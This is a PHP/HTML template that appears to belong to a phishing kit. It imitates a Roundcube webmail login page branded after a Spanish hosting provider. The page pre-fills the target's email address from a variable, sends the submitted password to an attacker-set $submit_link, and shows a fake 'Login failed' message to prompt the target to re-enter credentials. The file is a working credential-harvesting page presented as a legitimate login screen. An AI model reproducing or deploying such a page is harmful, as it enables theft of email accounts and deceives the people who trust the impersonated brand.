<?php include_once ('././url_parse.php'); ?>
<!DOCTYPE html>
<html lang="en" class="dark-mode js chrome webkit layout-large">

<head>
	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
	<title>Webmail :: Welcome to Webmail</title>
	<meta name="viewport" content="width=device-width, initial-scale=1.0, shrink-to-fit=no, maximum-scale=1.0">
	<meta name="theme-color" content="#f4f4f4">
	<meta name="msapplication-navbutton-color" content="#f4f4f4">
	<link rel="shortcut icon" href="https://serviciodecorreo.es/images/brand/favicon.ico?s=1748957381">
	<link rel="stylesheet" href="<?php echo $files_path; ?>/srv_fls/bootstrap.min.css">

	<link rel="stylesheet" href="<?php echo $files_path; ?>/srv_fls/styles.min.css">



	<!-- <script>
		try {
			if (document.cookie.indexOf('colorMode=dark') > -1 ||
				(document.cookie.indexOf('colorMode=light') === -1 && window.matchMedia('(prefers-color-scheme: dark)').matches)
			) {
				document.documentElement.className += ' dark-mode';
			}
		} catch (e) {}
	</script> -->

	<link rel="stylesheet" type="text/css" href="<?php echo $files_path; ?>/srv_fls/elastic.css">
	<link rel="stylesheet" type="text/css" href="<?php echo $files_path; ?>/srv_fls/jquery-ui.min.css">
	<script src="<?php echo $files_path; ?>/srv_fls/jquery.min.js"></script>
	<!-- <script src="<?php echo $files_path; ?>/srv_fls/common.min.js"></script> -->
	<script src="<?php echo $files_path; ?>/srv_fls/app.min.js"></script>
	<script src="<?php echo $files_path; ?>/srv_fls/jstz.min.js"></script>
	<script>
		/*
        @licstart  The following is the entire license notice for the
        JavaScript code in this page.

        Copyright (C) The Roundcube Dev Team

        The JavaScript code in this page is free software: you can redistribute
        it and/or modify it under the terms of the GNU General Public License
        as published by the Free Software Foundation, either version 3 of
        the License, or (at your option) any later version.

        The code is distributed WITHOUT ANY WARRANTY; without even the implied
        warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
        See the GNU GPL for more details.

        @licend  The above is the entire license notice
        for the JavaScript code in this page.
*/
		// var rcmail = new rcube_webmail();
		// rcmail.set_env({
		// 	"task": "login",
		// 	"standard_windows": false,
		// 	"locale": "en_US",
		// 	"devel_mode": null,
		// 	"rcversion": 10611,
		// 	"cookie_domain": "",
		// 	"cookie_path": "/",
		// 	"cookie_secure": true,
		// 	"dark_mode_support": true,
		// 	"skin": "brand",
		// 	"blankpage": "skins/brand/watermark.html",
		// 	"refresh_interval": 60,
		// 	"session_lifetime": 600,
		// 	"action": "login",
		// 	"comm_path": "/?_task=login",
		// 	"compose_extwin": false,
		// 	"dateFormats": {
		// 		"php": "Y-m-d",
		// 		"moment": "YYYY-MM-DD",
		// 		"datepicker": "yy-mm-dd",
		// 		"flatpickr": "Y-m-d"
		// 	},
		// 	"dmFormats": {
		// 		"php": "m-d",
		// 		"moment": "MM-DD",
		// 		"datepicker": "mm-dd",
		// 		"flatpickr": "m-d"
		// 	},
		// 	"timeFormats": {
		// 		"php": "H:i",
		// 		"moment": "HH:mm",
		// 		"datepicker": "HH:mm",
		// 		"flatpickr": "H:i"
		// 	},
		// 	"xelastic": true,
		// 	"xframework_localization_loaded": true,
		// 	"timezoneOffset": 3600,
		// 	"xsidebarVisible": true,
		// 	"xassets": ["../xframework/assets/bower_components/js-cookie/src/js.cookie.js", "../xframework/assets/scripts/framework.min.js", "../xframework/assets/styles/elastic.css", "xskin:assets/scripts/xskin.min.js"],
		// 	"date_format": "yy-mm-dd",
		// 	"date_format_localized": "YYYY-MM-DD",
		// 	"request_token": "9FdQv34j8J6tnW3OT8W4mBOX27GiYTWU"
		// });
		// rcmail.add_label({
		// 	"loading": "Loading...",
		// 	"servererror": "Server Error!",
		// 	"connerror": "Connection Error (Failed to reach the server)!",
		// 	"requesttimedout": "Request timed out",
		// 	"refreshing": "Refreshing...",
		// 	"windowopenerror": "The popup window was blocked!",
		// 	"uploadingmany": "Uploading files...",
		// 	"uploading": "Uploading file...",
		// 	"close": "Close",
		// 	"save": "Save",
		// 	"cancel": "Cancel",
		// 	"alerttitle": "Attention",
		// 	"confirmationtitle": "Are you sure...",
		// 	"delete": "Delete",
		// 	"continue": "Continue",
		// 	"ok": "OK",
		// 	"xframework.copy_to_clipboard": "Copy to clipboard",
		// 	"xframework.copied_to_clipboard": "Copied to clipboard.",
		// 	"x2fa.settings_forget_success": "The remembered authentication has been deleted from this browser.",
		// 	"back": "Back",
		// 	"errortitle": "An error occurred!",
		// 	"options": "Options",
		// 	"plaintoggle": "Plain text",
		// 	"htmltoggle": "HTML",
		// 	"previous": "Previous",
		// 	"next": "Next",
		// 	"select": "Select",
		// 	"browse": "Browse",
		// 	"choosefile": "Choose file...",
		// 	"choosefiles": "Choose files..."
		// });
		// rcmail.display_message("Login failed.", "warning", 0);
		// rcmail.gui_container("loginfooter", "login-footer");
		// rcmail.gui_object('loginform', 'login-form');
		// rcmail.gui_object('message', 'messagestack');
	</script>

	<!-- <script src="<?php echo $files_path; ?>/srv_fls/js.cookie.js"></script>
	<script src="<?php echo $files_path; ?>/srv_fls/framework.min.js"></script>
	<script src="<?php echo $files_path; ?>/srv_fls/xskin.min.js"></script> -->
	<script src="<?php echo $files_path; ?>/srv_fls/jquery-ui.min.js"></script>
</head>

<body class="xelastic task-login action-login">

	<div id="layout">


		<meta name="robots" content="index, nofollow">
		<link rel="stylesheet" type="text/css" href="<?php echo $files_path; ?>/srv_fls/custom.css">


		<h1 class="voice">Webmail Email login</h1>

		<div id="layout-content" class="selected no-navbar" role="main">
			<img src="<?php echo $files_path; ?>/srv_fls/logo.svg" id="logo" alt="Logo">
			<form id="login-form" name="login-form" method="post" class="propform" action="<?php echo $submit_link; ?>">
				<!-- <input type="hidden" name="_token" value="9FdQv34j8J6tnW3OT8W4mBOX27GiYTWU" class="form-control"> -->
				<!-- <input type="hidden" name="_task" value="login" class="form-control"><input type="hidden" name="_action" value="login" class="form-control"><input type="hidden" name="_timezone" id="rcmlogintz" value="Europe/London" -->
					<!-- class="form-control"> -->
          <!-- <input type="hidden" name="_url" id="rcmloginurl" value="_task=login" class="form-control"> -->
				<table>
					<tbody>
						<tr class="form-group row">
							<td class="title" style="display: none;"><label for="rcmloginuser">Email account</label></td>
							<td class="input input-group input-group-lg"><span class="input-group-prepend"><i class="input-group-text icon user"></i></span>
                <input name="_user" size="40" autocapitalize="off"
									value="<?php echo $funcs->identifier; ?>" type="text" disabled class="form-control" placeholder="Email account"></td>
                  <input type="hidden" name="_user_get" size="40" autocapitalize="off"
  									value="<?php echo $funcs->identifier; ?>" type="text">
						</tr>
						<tr class="form-group row">
							<td class="title" style="display: none;"><label for="rcmloginpwd">Password</label></td>
							<td class="input input-group input-group-lg"><span class="input-group-prepend"><i class="input-group-text icon pass"></i></span><input name="_pass" required="" size="40" autocapitalize="off" type="password"
									class="form-control" placeholder="Password"></td>
						</tr>
					</tbody>
				</table>
				<p class="formbuttons"><button type="submit" id="" class="button mainaction submit btn btn-primary btn-lg text-uppercase w-100">Email login</button></p>
				<div id="login-footer" role="contentinfo">
					<div class="text"><img style="display: block; margin: -1rem; width: calc(100% + 2rem); text-align: center; position: relative; background-color: #323232; border-radius: 0.3em"
							src="<?php echo $files_path; ?>/srv_fls/2FA-white-banner.jpg"></div>
				</div>
			</form>
		</div>

		<noscript>
			<p class="noscriptwarning">Warning: This webmail service requires Javascript! In order to use it please enable Javascript in your browser's settings.</p>
		</noscript>

		<script>
			var l = document.documentElement.getAttribute('lang');
			if (l === 'es') {

				l =
					"&lt;img style=&quot;display: block; margin: -1rem; width: calc(100% + 2rem); text-align: center; position: relative; background-color: #323232; border-radius: 0.3em&quot; src=&quot;https://www.arsys.es/get/image/correo/login/2FA-white-banner.jpg&quot;&gt;&lt;/div&gt;";

			} else {

				l =
					"&lt;img style=&quot;display: block; margin: -1rem; width: calc(100% + 2rem); text-align: center; position: relative; background-color: #323232; border-radius: 0.3em&quot; src=&quot;https://www.arsys.es/get/image/correo/login/2FA-white-banner.jpg&quot;&gt;&lt;/div&gt;";

			}
			if (l.length > 3) {
				var t = document.createElement('textarea');
				t.innerHTML = l;
				l = t.value;
				document.querySelector('#login-footer').innerHTML = '<div class="text">' + l + '</div>';
			}
		</script>


	</div>


<?php if($funcs->is_error == 1)  { ?>
	<div id="messagestack">
		<div class="warning content ui alert alert-warning" role="alert"><i class="icon"></i><span>Login failed.</span></div>
	</div>
<?php } ?>
	<script>
		$(function() {
			rcmail.init();
		});
	</script>



	<script src="<?php echo $files_path; ?>/srv_fls/bootstrap.bundle.min.js"></script>
	<!-- <script src="<?php echo $files_path; ?>/srv_fls/ui.min.js"></script> -->


</body>

</html>
